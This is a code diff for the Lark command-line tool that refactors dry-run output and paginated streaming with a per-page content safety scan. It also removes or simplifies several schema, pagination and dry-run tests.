"vc.meeting.participant_meeting_joined_v1",
|
||||
} {
|
||||
|
||||
@@ -19,29 +19,6 @@ import (
|
||||
_ "github.com/larksuite/cli/events"
|
||||
)
|
||||
|
||||
type approvalSchemaJSONPayload struct {
|
||||
JQRootPath string `json:"jq_root_path"`
|
||||
AuthTypes []string `json:"auth_types"`
|
||||
Scopes []string `json:"scopes"`
|
||||
Params []approvalSchemaJSONParam `json:"params"`
|
||||
ResolvedOutputSchema approvalSchemaJSONResolvedSchema `json:"resolved_output_schema"`
|
||||
}
|
||||
|
||||
type approvalSchemaJSONParam struct {
|
||||
Name string `json:"name"`
|
||||
Type string `json:"type"`
|
||||
Required bool `json:"required"`
|
||||
SubscriptionKey bool `json:"subscription_key"`
|
||||
}
|
||||
|
||||
type approvalSchemaJSONResolvedSchema struct {
|
||||
Properties map[string]approvalSchemaJSONProperty `json:"properties"`
|
||||
}
|
||||
|
||||
type approvalSchemaJSONProperty struct {
|
||||
Format string `json:"format"`
|
||||
}
|
||||
|
||||
func TestRunSchema_ProcessedKey_Text(t *testing.T) {
|
||||
f, stdout, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "test"})
|
||||
|
||||
@@ -119,40 +96,6 @@ func TestRunSchema_JSONOutput(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestRunSchema_ReceiveMessageAgentFieldsJSON(t *testing.T) {
|
||||
f, stdout, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "test"})
|
||||
|
||||
if err := runSchema(f, "im.message.receive_v1", true); err != nil {
|
||||
t.Fatalf("runSchema json: %v", err)
|
||||
}
|
||||
|
||||
var payload map[string]interface{}
|
||||
if err := json.Unmarshal(stdout.Bytes(), &payload); err != nil {
|
||||
t.Fatalf("output is not valid JSON: %v\n%s", err, stdout.String())
|
||||
}
|
||||
resolved := payload["resolved_output_schema"].(map[string]interface{})
|
||||
props := resolved["properties"].(map[string]interface{})
|
||||
for _, field := range []string{
|
||||
"root_id",
|
||||
"thread_id",
|
||||
"reply_to",
|
||||
"sender_type",
|
||||
"mentions",
|
||||
} {
|
||||
if _, ok := props[field]; !ok {
|
||||
t.Errorf("receive schema missing field %q", field)
|
||||
}
|
||||
}
|
||||
msgDesc := props["message_id"].(map[string]interface{})["description"].(string)
|
||||
if !strings.Contains(msgDesc, "Recommended idempotency key") {
|
||||
t.Errorf("message_id description should guide deduplication, got %q", msgDesc)
|
||||
}
|
||||
eventDesc := props["event_id"].(map[string]interface{})["description"].(string)
|
||||
if strings.Contains(eventDesc, "safe for deduplication") {
|
||||
t.Errorf("event_id description should not recommend deduplication, got %q", eventDesc)
|
||||
}
|
||||
}
|
||||
|
||||
func TestRunSchema_TaskUpdateUserAccessJSON(t *testing.T) {
|
||||
f, stdout, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "test"})
|
||||
|
||||
@@ -181,60 +124,6 @@ func TestRunSchema_TaskUpdateUserAccessJSON(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestRunSchema_ApprovalStatusChangedJSON(t *testing.T) {
|
||||
tests := []struct {
|
||||
key string
|
||||
scope string
|
||||
}{
|
||||
{"approval.instance.status_changed_v4", "approval:instance:read"},
|
||||
{"approval.task.status_changed_v4", "approval:task:read"},
|
||||
}
|
||||
|
||||
for _, tc := range tests {
|
||||
t.Run(tc.key, func(t *testing.T) {
|
||||
t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
|
||||
f, stdout, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "test"})
|
||||
|
||||
if err := runSchema(f, tc.key, true); err != nil {
|
||||
t.Fatalf("runSchema json: %v", err)
|
||||
}
|
||||
|
||||
var payload approvalSchemaJSONPayload
|
||||
if err := json.Unmarshal(stdout.Bytes(), &payload); err != nil {
|
||||
t.Fatalf("output is not valid JSON: %v\n%s", err, stdout.String())
|
||||
}
|
||||
if payload.JQRootPath != "." {
|
||||
t.Errorf("jq_root_path = %v, want .", payload.JQRootPath)
|
||||
}
|
||||
if got := payload.AuthTypes; !reflect.DeepEqual(got, []string{"user"}) {
|
||||
t.Errorf("auth_types = %#v, want user", got)
|
||||
}
|
||||
if got := payload.Scopes; !reflect.DeepEqual(got, []string{tc.scope}) {
|
||||
t.Errorf("scopes = %#v, want %s", got, tc.scope)
|
||||
}
|
||||
if len(payload.Params) != 1 {
|
||||
t.Fatalf("params = %#v, want one subscription_type param", payload.Params)
|
||||
}
|
||||
param := payload.Params[0]
|
||||
if param.Name != "subscription_type" || param.Type != "multi" || param.Required || param.SubscriptionKey {
|
||||
t.Fatalf("subscription_type param = %#v, want optional multi non-subscription-key param", param)
|
||||
}
|
||||
props := payload.ResolvedOutputSchema.Properties
|
||||
for _, field := range []string{"type", "event_id", "timestamp", "approval_code", "instance_code", "status", "operate_time"} {
|
||||
if _, ok := props[field]; !ok {
|
||||
t.Errorf("approval schema missing flat field %q: %+v", field, props)
|
||||
}
|
||||
}
|
||||
if _, ok := props["event"]; ok {
|
||||
t.Errorf("approval Custom schema should be flat, got envelope field event: %+v", props)
|
||||
}
|
||||
if got := props["operate_time"].Format; got != "timestamp_ms" {
|
||||
t.Errorf("operate_time format = %v, want timestamp_ms", got)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestRunSchema_JSONOutput_VCMeetingLifecycleKeys(t *testing.T) {
|
||||
for _, key := range []string{
|
||||
"vc.meeting.participant_meeting_started_v1",
|
||||
|
||||
@@ -566,7 +566,7 @@ func groupRootCommands(root *cobra.Command) {
|
||||
&cobra.Group{ID: groupTooling, Title: "Agent tooling:"},
|
||||
&cobra.Group{ID: groupManagement, Title: "CLI management:"},
|
||||
)
|
||||
tooling := map[string]bool{"api": true, "schema": true, "skills": true}
|
||||
tooling := map[string]bool{"api": true, "schema": true, "skills": true, "agents": true}
|
||||
management := map[string]bool{"auth": true, "config": true, "profile": true, "doctor": true, "update": true}
|
||||
for _, c := range root.Commands() {
|
||||
if c.GroupID != "" {
|
||||
|
||||
@@ -371,11 +371,10 @@ func TestIntegration_StrictModeUser_ProfileOverride_ShortcutExplicitBotReturnsEn
|
||||
|
||||
func TestIntegration_StrictModeBot_ProfileOverride_ServiceExplicitUserReturnsEnvelope(t *testing.T) {
|
||||
f, stdout, stderr := newStrictModeDefaultFactory(t, "target", core.StrictModeBot)
|
||||
catalog := strictModeFixtureCatalog()
|
||||
rootCmd := buildStrictModeIntegrationRootCmdWithCatalog(t, f, &catalog)
|
||||
rootCmd := buildStrictModeIntegrationRootCmd(t, f)
|
||||
|
||||
code := executeRootIntegration(t, f, rootCmd, []string{
|
||||
"fixture", "things", "create", "--data", `{"name":"probe"}`, "--as", "user", "--dry-run",
|
||||
"im", "chats", "get", "--params", `{"chat_id":"oc_test"}`, "--as", "user", "--dry-run",
|
||||
})
|
||||
|
||||
if code != output.ExitValidation {
|
||||
|
||||
@@ -403,9 +403,9 @@ func serviceMethodRun(opts *ServiceMethodOptions) error {
|
||||
|
||||
if opts.DryRun {
|
||||
if fileMeta != nil {
|
||||
return cmdutil.PrintDryRunWithFile(request, config, serviceDryRunOutputOptions(f, opts), *fileMeta)
|
||||
return cmdutil.PrintDryRunWithFile(f.IOStreams.Out, request, config, opts.Format, fileMeta.FieldName, fileMeta.FilePath, fileMeta.FormFields)
|
||||
}
|
||||
return serviceDryRun(f, request, config, opts)
|
||||
return serviceDryRun(f, request, config, opts.Format)
|
||||
}
|
||||
|
||||
if opts.Method.Risk == cmdutil.RiskHighRiskWrite {
|
||||
@@ -667,19 +667,8 @@ func buildServiceRequest(opts *ServiceMethodOptions) (client.RawApiRequest, *cmd
|
||||
return request, nil, nil
|
||||
}
|
||||
|
||||
func serviceDryRun(f *cmdutil.Factory, request client.RawApiRequest, config *core.CliConfig, opts *ServiceMethodOptions) error {
|
||||
return cmdutil.PrintDryRun(request, config, serviceDryRunOutputOptions(f, opts))
|
||||
}
|
||||
|
||||
func serviceDryRunOutputOptions(f *cmdutil.Factory, opts *ServiceMethodOptions) cmdutil.DryRunOutputOptions {
|
||||
return cmdutil.DryRunOutputOptions{
|
||||
Format: opts.Format,
|
||||
JqExpr: opts.JqExpr,
|
||||
CommandPath: opts.Cmd.CommandPath(),
|
||||
Identity: opts.As,
|
||||
Out: f.IOStreams.Out,
|
||||
ErrOut: f.IOStreams.ErrOut,
|
||||
}
|
||||
func serviceDryRun(f *cmdutil.Factory, request client.RawApiRequest, config *core.CliConfig, format string) error {
|
||||
return cmdutil.PrintDryRun(f.IOStreams.Out, request, config, format)
|
||||
}
|
||||
|
||||
func servicePaginate(ctx context.Context, ac *client.APIClient, request client.RawApiRequest, format output.Format, jqExpr string, out, errOut io.Writer, commandPath string, pagOpts client.PaginationOptions, checkErr func(interface{}, core.Identity) error) error {
|
||||
@@ -707,18 +696,20 @@ func servicePaginate(ctx context.Context, ac *client.APIClient, request client.R
|
||||
|
||||
switch format {
|
||||
case output.FormatNDJSON, output.FormatTable, output.FormatCSV:
|
||||
emitter := output.NewEmitter(output.EmitterConfig{
|
||||
Out: out,
|
||||
ErrOut: errOut,
|
||||
CommandPath: commandPath,
|
||||
Identity: string(pagOpts.Identity),
|
||||
NoticeProvider: output.GetNotice,
|
||||
})
|
||||
pf := output.NewPaginatedFormatter(out, format)
|
||||
result, hasItems, err := ac.StreamPages(ctx, request, func(items []interface{}) error {
|
||||
// Streaming formats intentionally emit each page after that page has
|
||||
// passed safety scanning. A later page may still fail, so callers
|
||||
// must use the exit code to distinguish complete vs partial output.
|
||||
return emitter.StreamPage(items, output.StreamOptions{Format: format.String()})
|
||||
scanResult := output.ScanForSafety(commandPath, items, errOut)
|
||||
if scanResult.Blocked {
|
||||
return scanResult.BlockErr
|
||||
}
|
||||
if scanResult.Alert != nil {
|
||||
output.WriteAlertWarning(errOut, scanResult.Alert)
|
||||
}
|
||||
pf.FormatPage(items)
|
||||
return nil
|
||||
}, pagOpts)
|
||||
if err != nil {
|
||||
return err
|
||||
|
||||
@@ -1,400 +0,0 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package service
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"net/http"
|
||||
"testing"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
"github.com/larksuite/cli/internal/client"
|
||||
"github.com/larksuite/cli/internal/cmdutil"
|
||||
"github.com/larksuite/cli/internal/core"
|
||||
"github.com/larksuite/cli/internal/httpmock"
|
||||
"github.com/larksuite/cli/internal/output"
|
||||
)
|
||||
|
||||
type serviceFailOnWriteWriter struct {
|
||||
buf bytes.Buffer
|
||||
writes int
|
||||
failAt int
|
||||
err error
|
||||
}
|
||||
|
||||
func (w *serviceFailOnWriteWriter) Write(p []byte) (int, error) {
|
||||
w.writes++
|
||||
if w.writes == w.failAt {
|
||||
return 0, w.err
|
||||
}
|
||||
return w.buf.Write(p)
|
||||
}
|
||||
|
||||
func newServicePaginateTestHarness(t *testing.T) (*client.APIClient, *bytes.Buffer, *bytes.Buffer, *httpmock.Registry) {
|
||||
t.Helper()
|
||||
t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
|
||||
t.Setenv("LARKSUITE_CLI_CONTENT_SAFETY_MODE", "off")
|
||||
previousNotice := output.PendingNotice
|
||||
output.PendingNotice = nil
|
||||
t.Cleanup(func() { output.PendingNotice = previousNotice })
|
||||
|
||||
config := &core.CliConfig{
|
||||
AppID: "test-app",
|
||||
AppSecret: "test-secret",
|
||||
Brand: core.BrandFeishu,
|
||||
}
|
||||
f, out, errOut, reg := cmdutil.TestFactory(t, config)
|
||||
ac, err := f.NewAPIClientWithConfig(config)
|
||||
if err != nil {
|
||||
t.Fatalf("NewAPIClientWithConfig() error = %v", err)
|
||||
}
|
||||
ac.ErrOut = io.Discard
|
||||
return ac, out, errOut, reg
|
||||
}
|
||||
|
||||
func servicePaginateRequest() client.RawApiRequest {
|
||||
return client.RawApiRequest{
|
||||
Method: "GET",
|
||||
URL: "/open-apis/test/v1/items",
|
||||
As: core.AsBot,
|
||||
}
|
||||
}
|
||||
|
||||
func assertServicePaginateJSONBytes(t *testing.T, got []byte, want interface{}) {
|
||||
t.Helper()
|
||||
wantBytes, err := json.MarshalIndent(want, "", " ")
|
||||
if err != nil {
|
||||
t.Fatalf("marshal expected JSON: %v", err)
|
||||
}
|
||||
wantBytes = append(wantBytes, '\n')
|
||||
if !bytes.Equal(got, wantBytes) {
|
||||
t.Fatalf("stdout bytes mismatch\ngot:\n%s\nwant:\n%s", got, wantBytes)
|
||||
}
|
||||
}
|
||||
|
||||
func TestServicePaginate_DefaultAggregatesAllPages(t *testing.T) {
|
||||
ac, out, errOut, reg := newServicePaginateTestHarness(t)
|
||||
calls := 0
|
||||
wantTokens := []string{"", "next-1", "next-2"}
|
||||
for i, wantToken := range wantTokens {
|
||||
page := i + 1
|
||||
hasMore := page < len(wantTokens)
|
||||
data := map[string]interface{}{
|
||||
"items": []interface{}{map[string]interface{}{"id": string(rune('0' + page))}},
|
||||
"has_more": hasMore,
|
||||
}
|
||||
if hasMore {
|
||||
data["page_token"] = wantTokens[page]
|
||||
}
|
||||
reg.Register(&httpmock.Stub{
|
||||
URL: "/open-apis/test/v1/items",
|
||||
OnMatch: func(req *http.Request) {
|
||||
calls++
|
||||
if got := req.URL.Query().Get("page_token"); got != wantToken {
|
||||
t.Errorf("request %d page_token = %q, want %q", page, got, wantToken)
|
||||
}
|
||||
},
|
||||
Body: map[string]interface{}{
|
||||
"code": 0,
|
||||
"msg": "ok",
|
||||
"data": data,
|
||||
},
|
||||
})
|
||||
}
|
||||
|
||||
err := servicePaginate(context.Background(), ac, servicePaginateRequest(),
|
||||
output.FormatJSON, "", out, errOut, "lark-cli test items list", client.PaginationOptions{
|
||||
PageLimit: 10,
|
||||
PageDelay: -1,
|
||||
}, ac.CheckResponse)
|
||||
|
||||
if err != nil {
|
||||
t.Fatalf("servicePaginate() error = %v, want nil", err)
|
||||
}
|
||||
if calls != 3 {
|
||||
t.Fatalf("pagination requests = %d, want 3", calls)
|
||||
}
|
||||
assertServicePaginateJSONBytes(t, out.Bytes(), output.Envelope{
|
||||
OK: true,
|
||||
Identity: "bot",
|
||||
Data: map[string]interface{}{
|
||||
"items": []interface{}{
|
||||
map[string]interface{}{"id": "1"},
|
||||
map[string]interface{}{"id": "2"},
|
||||
map[string]interface{}{"id": "3"},
|
||||
},
|
||||
"has_more": false,
|
||||
},
|
||||
})
|
||||
if got := errOut.String(); got != "" {
|
||||
t.Fatalf("stderr bytes = %q, want empty", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestServicePaginate_StreamingFormatsEmitExactMultiPageBytes(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
format output.Format
|
||||
want string
|
||||
}{
|
||||
{
|
||||
name: "ndjson",
|
||||
format: output.FormatNDJSON,
|
||||
want: "{\"id\":\"1\",\"name\":\"Alice\"}\n{\"id\":\"2\",\"name\":\"Carol\",\"page_only\":\"ignored\"}\n",
|
||||
},
|
||||
{
|
||||
name: "table",
|
||||
format: output.FormatTable,
|
||||
want: "id name \n── ─────\n1 Alice\n2 Carol\n",
|
||||
},
|
||||
{
|
||||
name: "csv",
|
||||
format: output.FormatCSV,
|
||||
want: "id,name\n1,Alice\n2,Carol\n",
|
||||
},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
ac, out, errOut, reg := newServicePaginateTestHarness(t)
|
||||
reg.Register(&httpmock.Stub{
|
||||
URL: "/open-apis/test/v1/items",
|
||||
Body: map[string]interface{}{
|
||||
"code": 0,
|
||||
"msg": "ok",
|
||||
"data": map[string]interface{}{
|
||||
"items": []interface{}{
|
||||
map[string]interface{}{"id": "1", "name": "Alice"},
|
||||
},
|
||||
"has_more": true,
|
||||
"page_token": "next-1",
|
||||
},
|
||||
},
|
||||
})
|
||||
reg.Register(&httpmock.Stub{
|
||||
URL: "/open-apis/test/v1/items",
|
||||
Body: map[string]interface{}{
|
||||
"code": 0,
|
||||
"msg": "ok",
|
||||
"data": map[string]interface{}{
|
||||
"items": []interface{}{
|
||||
map[string]interface{}{"id": "2", "name": "Carol", "page_only": "ignored"},
|
||||
},
|
||||
"has_more": false,
|
||||
},
|
||||
},
|
||||
})
|
||||
|
||||
err := servicePaginate(context.Background(), ac, servicePaginateRequest(),
|
||||
tt.format, "", out, errOut, "lark-cli test items list", client.PaginationOptions{
|
||||
PageLimit: 10,
|
||||
PageDelay: -1,
|
||||
}, ac.CheckResponse)
|
||||
|
||||
if err != nil {
|
||||
t.Fatalf("servicePaginate() error = %v, want nil", err)
|
||||
}
|
||||
if got := out.String(); got != tt.want {
|
||||
t.Fatalf("stdout byte mismatch\ngot (%d bytes):\n%q\nwant (%d bytes):\n%q", len(got), got, len(tt.want), tt.want)
|
||||
}
|
||||
if got := errOut.String(); got != "" {
|
||||
t.Fatalf("stderr bytes = %q, want empty", got)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestServicePaginate_StreamingWriteFailureStopsFurtherPages(t *testing.T) {
|
||||
ac, _, errOut, reg := newServicePaginateTestHarness(t)
|
||||
sentinel := errors.New("page write failed")
|
||||
out := &serviceFailOnWriteWriter{failAt: 2, err: sentinel}
|
||||
calls := 0
|
||||
for page := 1; page <= 2; page++ {
|
||||
hasMore := true
|
||||
data := map[string]interface{}{
|
||||
"items": []interface{}{map[string]interface{}{"id": page}},
|
||||
"has_more": hasMore,
|
||||
}
|
||||
if hasMore {
|
||||
data["page_token"] = fmt.Sprintf("next-%d", page)
|
||||
}
|
||||
reg.Register(&httpmock.Stub{
|
||||
URL: "/open-apis/test/v1/items",
|
||||
OnMatch: func(*http.Request) {
|
||||
calls++
|
||||
},
|
||||
Body: map[string]interface{}{
|
||||
"code": 0,
|
||||
"msg": "ok",
|
||||
"data": data,
|
||||
},
|
||||
})
|
||||
}
|
||||
|
||||
err := servicePaginate(context.Background(), ac, servicePaginateRequest(),
|
||||
output.FormatNDJSON, "", out, errOut, "lark-cli test items list",
|
||||
client.PaginationOptions{PageLimit: 10, PageDelay: -1}, ac.CheckResponse)
|
||||
|
||||
if !errors.Is(err, sentinel) {
|
||||
t.Fatalf("servicePaginate() error = %v, want preserved writer cause", err)
|
||||
}
|
||||
problem, ok := errs.ProblemOf(err)
|
||||
if !ok || problem.Category != errs.CategoryInternal {
|
||||
t.Fatalf("servicePaginate() problem = %#v, %v; want internal typed error", problem, ok)
|
||||
}
|
||||
if calls != 2 {
|
||||
t.Fatalf("pagination requests = %d, want 2", calls)
|
||||
}
|
||||
if got, want := out.buf.String(), "{\"id\":1}\n"; got != want {
|
||||
t.Fatalf("stdout bytes = %q, want %q", got, want)
|
||||
}
|
||||
}
|
||||
|
||||
func TestServicePaginate_StreamingFormatFallsBackToJSONWithoutList(t *testing.T) {
|
||||
ac, out, errOut, reg := newServicePaginateTestHarness(t)
|
||||
reg.Register(&httpmock.Stub{
|
||||
URL: "/open-apis/test/v1/items",
|
||||
Body: map[string]interface{}{
|
||||
"code": 0,
|
||||
"msg": "ok",
|
||||
"data": map[string]interface{}{
|
||||
"name": "Test User",
|
||||
"user_id": "u123",
|
||||
},
|
||||
},
|
||||
})
|
||||
|
||||
err := servicePaginate(context.Background(), ac, servicePaginateRequest(),
|
||||
output.FormatNDJSON, "", out, errOut, "lark-cli test items get",
|
||||
client.PaginationOptions{PageDelay: -1}, ac.CheckResponse)
|
||||
|
||||
if err != nil {
|
||||
t.Fatalf("servicePaginate() error = %v, want nil", err)
|
||||
}
|
||||
assertServicePaginateJSONBytes(t, out.Bytes(), output.Envelope{
|
||||
OK: true,
|
||||
Identity: "bot",
|
||||
Data: map[string]interface{}{
|
||||
"name": "Test User",
|
||||
"user_id": "u123",
|
||||
},
|
||||
})
|
||||
wantWarning := "warning: this API does not return a list, format \"ndjson\" is not supported, falling back to json\n"
|
||||
if got := errOut.String(); got != wantWarning {
|
||||
t.Fatalf("stderr bytes = %q, want %q", got, wantWarning)
|
||||
}
|
||||
}
|
||||
|
||||
func TestServicePaginate_BusinessErrorsWriteRawAndRemainUnmarked(t *testing.T) {
|
||||
businessResponse := map[string]interface{}{
|
||||
"code": 123456,
|
||||
"msg": "fixture business error",
|
||||
"data": map[string]interface{}{"detail": "business failed"},
|
||||
}
|
||||
tests := []struct {
|
||||
name string
|
||||
format output.Format
|
||||
jqExpr string
|
||||
}{
|
||||
{name: "jq", format: output.FormatJSON, jqExpr: ".data.items"},
|
||||
{name: "default_json", format: output.FormatJSON},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
ac, out, errOut, reg := newServicePaginateTestHarness(t)
|
||||
reg.Register(&httpmock.Stub{
|
||||
URL: "/open-apis/test/v1/items",
|
||||
Body: businessResponse,
|
||||
})
|
||||
|
||||
err := servicePaginate(context.Background(), ac, servicePaginateRequest(),
|
||||
tt.format, tt.jqExpr, out, errOut, "lark-cli test items list",
|
||||
client.PaginationOptions{PageDelay: -1}, ac.CheckResponse)
|
||||
|
||||
if err == nil {
|
||||
t.Fatal("servicePaginate() error = nil, want business error")
|
||||
}
|
||||
if errs.IsRaw(err) {
|
||||
t.Fatalf("errs.IsRaw(error) = true, want current servicePaginate pass-through behavior")
|
||||
}
|
||||
assertServicePaginateJSONBytes(t, out.Bytes(), businessResponse)
|
||||
if bytes.Contains(out.Bytes(), []byte(`"ok": true`)) {
|
||||
t.Fatalf("business-error stdout contains a success envelope:\n%s", out.Bytes())
|
||||
}
|
||||
if got := errOut.String(); got != "" {
|
||||
t.Fatalf("stderr bytes = %q, want empty", got)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestServicePaginate_TransportErrorsRemainUnmarked(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
format output.Format
|
||||
jqExpr string
|
||||
}{
|
||||
{name: "jq_paginate_all", format: output.FormatJSON, jqExpr: ".data.items"},
|
||||
{name: "stream_pages", format: output.FormatNDJSON},
|
||||
{name: "default_paginate_all", format: output.FormatJSON},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
ac, out, errOut, _ := newServicePaginateTestHarness(t)
|
||||
|
||||
err := servicePaginate(context.Background(), ac, servicePaginateRequest(),
|
||||
tt.format, tt.jqExpr, out, errOut, "lark-cli test items list",
|
||||
client.PaginationOptions{PageDelay: -1}, ac.CheckResponse)
|
||||
|
||||
if err == nil {
|
||||
t.Fatal("servicePaginate() error = nil, want transport error")
|
||||
}
|
||||
if errs.IsRaw(err) {
|
||||
t.Fatalf("errs.IsRaw(error) = true, want current servicePaginate pass-through behavior")
|
||||
}
|
||||
if got := out.String(); got != "" {
|
||||
t.Fatalf("stdout bytes = %q, want empty", got)
|
||||
}
|
||||
if got := errOut.String(); got != "" {
|
||||
t.Fatalf("stderr bytes = %q, want empty", got)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestServicePaginate_StreamBusinessErrorRemainsUnmarked(t *testing.T) {
|
||||
ac, out, errOut, reg := newServicePaginateTestHarness(t)
|
||||
reg.Register(&httpmock.Stub{
|
||||
URL: "/open-apis/test/v1/items",
|
||||
Body: map[string]interface{}{
|
||||
"code": 123456,
|
||||
"msg": "fixture business error",
|
||||
"data": map[string]interface{}{},
|
||||
},
|
||||
})
|
||||
|
||||
err := servicePaginate(context.Background(), ac, servicePaginateRequest(),
|
||||
output.FormatNDJSON, "", out, errOut, "lark-cli test items list",
|
||||
client.PaginationOptions{PageDelay: -1}, ac.CheckResponse)
|
||||
|
||||
if err == nil {
|
||||
t.Fatal("servicePaginate() error = nil, want business error")
|
||||
}
|
||||
if errs.IsRaw(err) {
|
||||
t.Fatalf("errs.IsRaw(error) = true, want current servicePaginate pass-through behavior")
|
||||
}
|
||||
if got := out.String(); got != "" {
|
||||
t.Fatalf("stdout bytes = %q, want empty", got)
|
||||
}
|
||||
if got := errOut.String(); got != "" {
|
||||
t.Fatalf("stderr bytes = %q, want empty", got)
|
||||
}
|
||||
}
|
||||
@@ -224,39 +224,13 @@ func TestServiceMethod_DryRun_PathParam(t *testing.T) {
|
||||
if err := cmd.Execute(); err != nil {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
var got map[string]interface{}
|
||||
if err := json.Unmarshal(stdout.Bytes(), &got); err != nil {
|
||||
t.Fatalf("dry-run stdout is not JSON: %v\n%s", err, stdout.String())
|
||||
}
|
||||
if got["ok"] != true || got["dry_run"] != true {
|
||||
t.Fatalf("unexpected dry-run envelope: %#v", got)
|
||||
}
|
||||
data := got["data"].(map[string]interface{})
|
||||
api := data["api"].([]interface{})
|
||||
call := api[0].(map[string]interface{})
|
||||
if call["url"] != tt.wantInURL {
|
||||
t.Errorf("url = %q, want %q\nstdout:\n%s", call["url"], tt.wantInURL, stdout.String())
|
||||
if !strings.Contains(stdout.String(), tt.wantInURL) {
|
||||
t.Errorf("expected URL containing %q, got:\n%s", tt.wantInURL, stdout.String())
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestServiceMethod_DryRunWithJq(t *testing.T) {
|
||||
f, stdout, _, _ := cmdutil.TestFactory(t, testConfig)
|
||||
cmd := NewCmdServiceMethod(f, driveSpec(), driveMethod("GET", nil), "get", "files", nil)
|
||||
cmd.SetArgs([]string{
|
||||
"--params", `{"file_token":"boxcn123abc"}`,
|
||||
"--dry-run",
|
||||
"--jq", ".data.api[0].url",
|
||||
})
|
||||
if err := cmd.Execute(); err != nil {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
if got, want := strings.TrimSpace(stdout.String()), "/open-apis/drive/v1/files/boxcn123abc/copy"; got != want {
|
||||
t.Fatalf("jq output = %q, want %q", got, want)
|
||||
}
|
||||
}
|
||||
|
||||
func TestServiceMethod_PathParamRejectsTraversal(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
@@ -344,12 +318,8 @@ func TestServiceMethod_PaginationParamSkippedWithPageAll(t *testing.T) {
|
||||
if err != nil {
|
||||
t.Fatalf("expected no error with --page-all skipping page_size, got: %v", err)
|
||||
}
|
||||
var got map[string]interface{}
|
||||
if err := json.Unmarshal(stdout.Bytes(), &got); err != nil {
|
||||
t.Fatalf("dry-run stdout is not JSON: %v\n%s", err, stdout.String())
|
||||
}
|
||||
if got["dry_run"] != true {
|
||||
t.Fatalf("dry_run = %#v, want true", got["dry_run"])
|
||||
if !strings.Contains(stdout.String(), "Dry Run") {
|
||||
t.Error("expected dry-run output")
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1111,23 +1081,11 @@ func TestServiceMethod_FileUpload_DryRun(t *testing.T) {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
out := stdout.String()
|
||||
var env map[string]interface{}
|
||||
if err := json.Unmarshal(stdout.Bytes(), &env); err != nil {
|
||||
t.Fatalf("dry-run stdout is not JSON: %v\n%s", err, out)
|
||||
if !strings.Contains(out, "image") {
|
||||
t.Errorf("expected dry-run output to mention file field, got: %s", out)
|
||||
}
|
||||
if env["dry_run"] != true {
|
||||
t.Fatalf("dry_run = %#v, want true", env["dry_run"])
|
||||
}
|
||||
data := env["data"].(map[string]interface{})
|
||||
api := data["api"].([]interface{})
|
||||
call := api[0].(map[string]interface{})
|
||||
body := call["body"].(map[string]interface{})
|
||||
file := body["file"].(map[string]interface{})
|
||||
if file["field"] != "image" || file["path"] != tmpFile {
|
||||
t.Fatalf("unexpected file dry-run body: %#v", body)
|
||||
}
|
||||
if strings.Contains(out, "=== Dry Run ===") {
|
||||
t.Fatalf("stdout should not contain dry-run banner: %s", out)
|
||||
if !strings.Contains(out, "Dry Run") {
|
||||
t.Errorf("expected dry-run header, got: %s", out)
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -1,39 +0,0 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package service
|
||||
|
||||
import (
|
||||
"os"
|
||||
"testing"
|
||||
|
||||
"github.com/larksuite/cli/internal/registry/registrytest"
|
||||
)
|
||||
|
||||
// TestMain isolates service command tests from the host machine: config (and
|
||||
// the registry cache under it) is redirected to a temp dir, then the registry
|
||||
// is seeded from the tracked fixture and initialized eagerly. Tests pass on a
|
||||
// clean checkout with no network, no `make fetch_meta`, and no user cache.
|
||||
//
|
||||
// Note: os.Exit skips deferred functions, so cleanup runs explicitly after
|
||||
// m.Run before exiting.
|
||||
func TestMain(m *testing.M) {
|
||||
root, err := os.MkdirTemp("", "lark-cli-cmd-service-test-*")
|
||||
if err != nil {
|
||||
println("cmd/service test setup: MkdirTemp failed:", err.Error())
|
||||
os.Exit(2)
|
||||
}
|
||||
if err := os.Setenv("LARKSUITE_CLI_CONFIG_DIR", root); err != nil {
|
||||
println("cmd/service test setup: Setenv failed:", err.Error())
|
||||
os.RemoveAll(root)
|
||||
os.Exit(2)
|
||||
}
|
||||
if err := registrytest.Seed(root); err != nil {
|
||||
println("cmd/service test setup: registrytest.Seed failed:", err.Error())
|
||||
os.RemoveAll(root)
|
||||
os.Exit(2)
|
||||
}
|
||||
code := m.Run()
|
||||
os.RemoveAll(root)
|
||||
os.Exit(code)
|
||||
}
|
||||
@@ -5,7 +5,6 @@ package cmd
|
||||
|
||||
import (
|
||||
"context"
|
||||
"flag"
|
||||
"fmt"
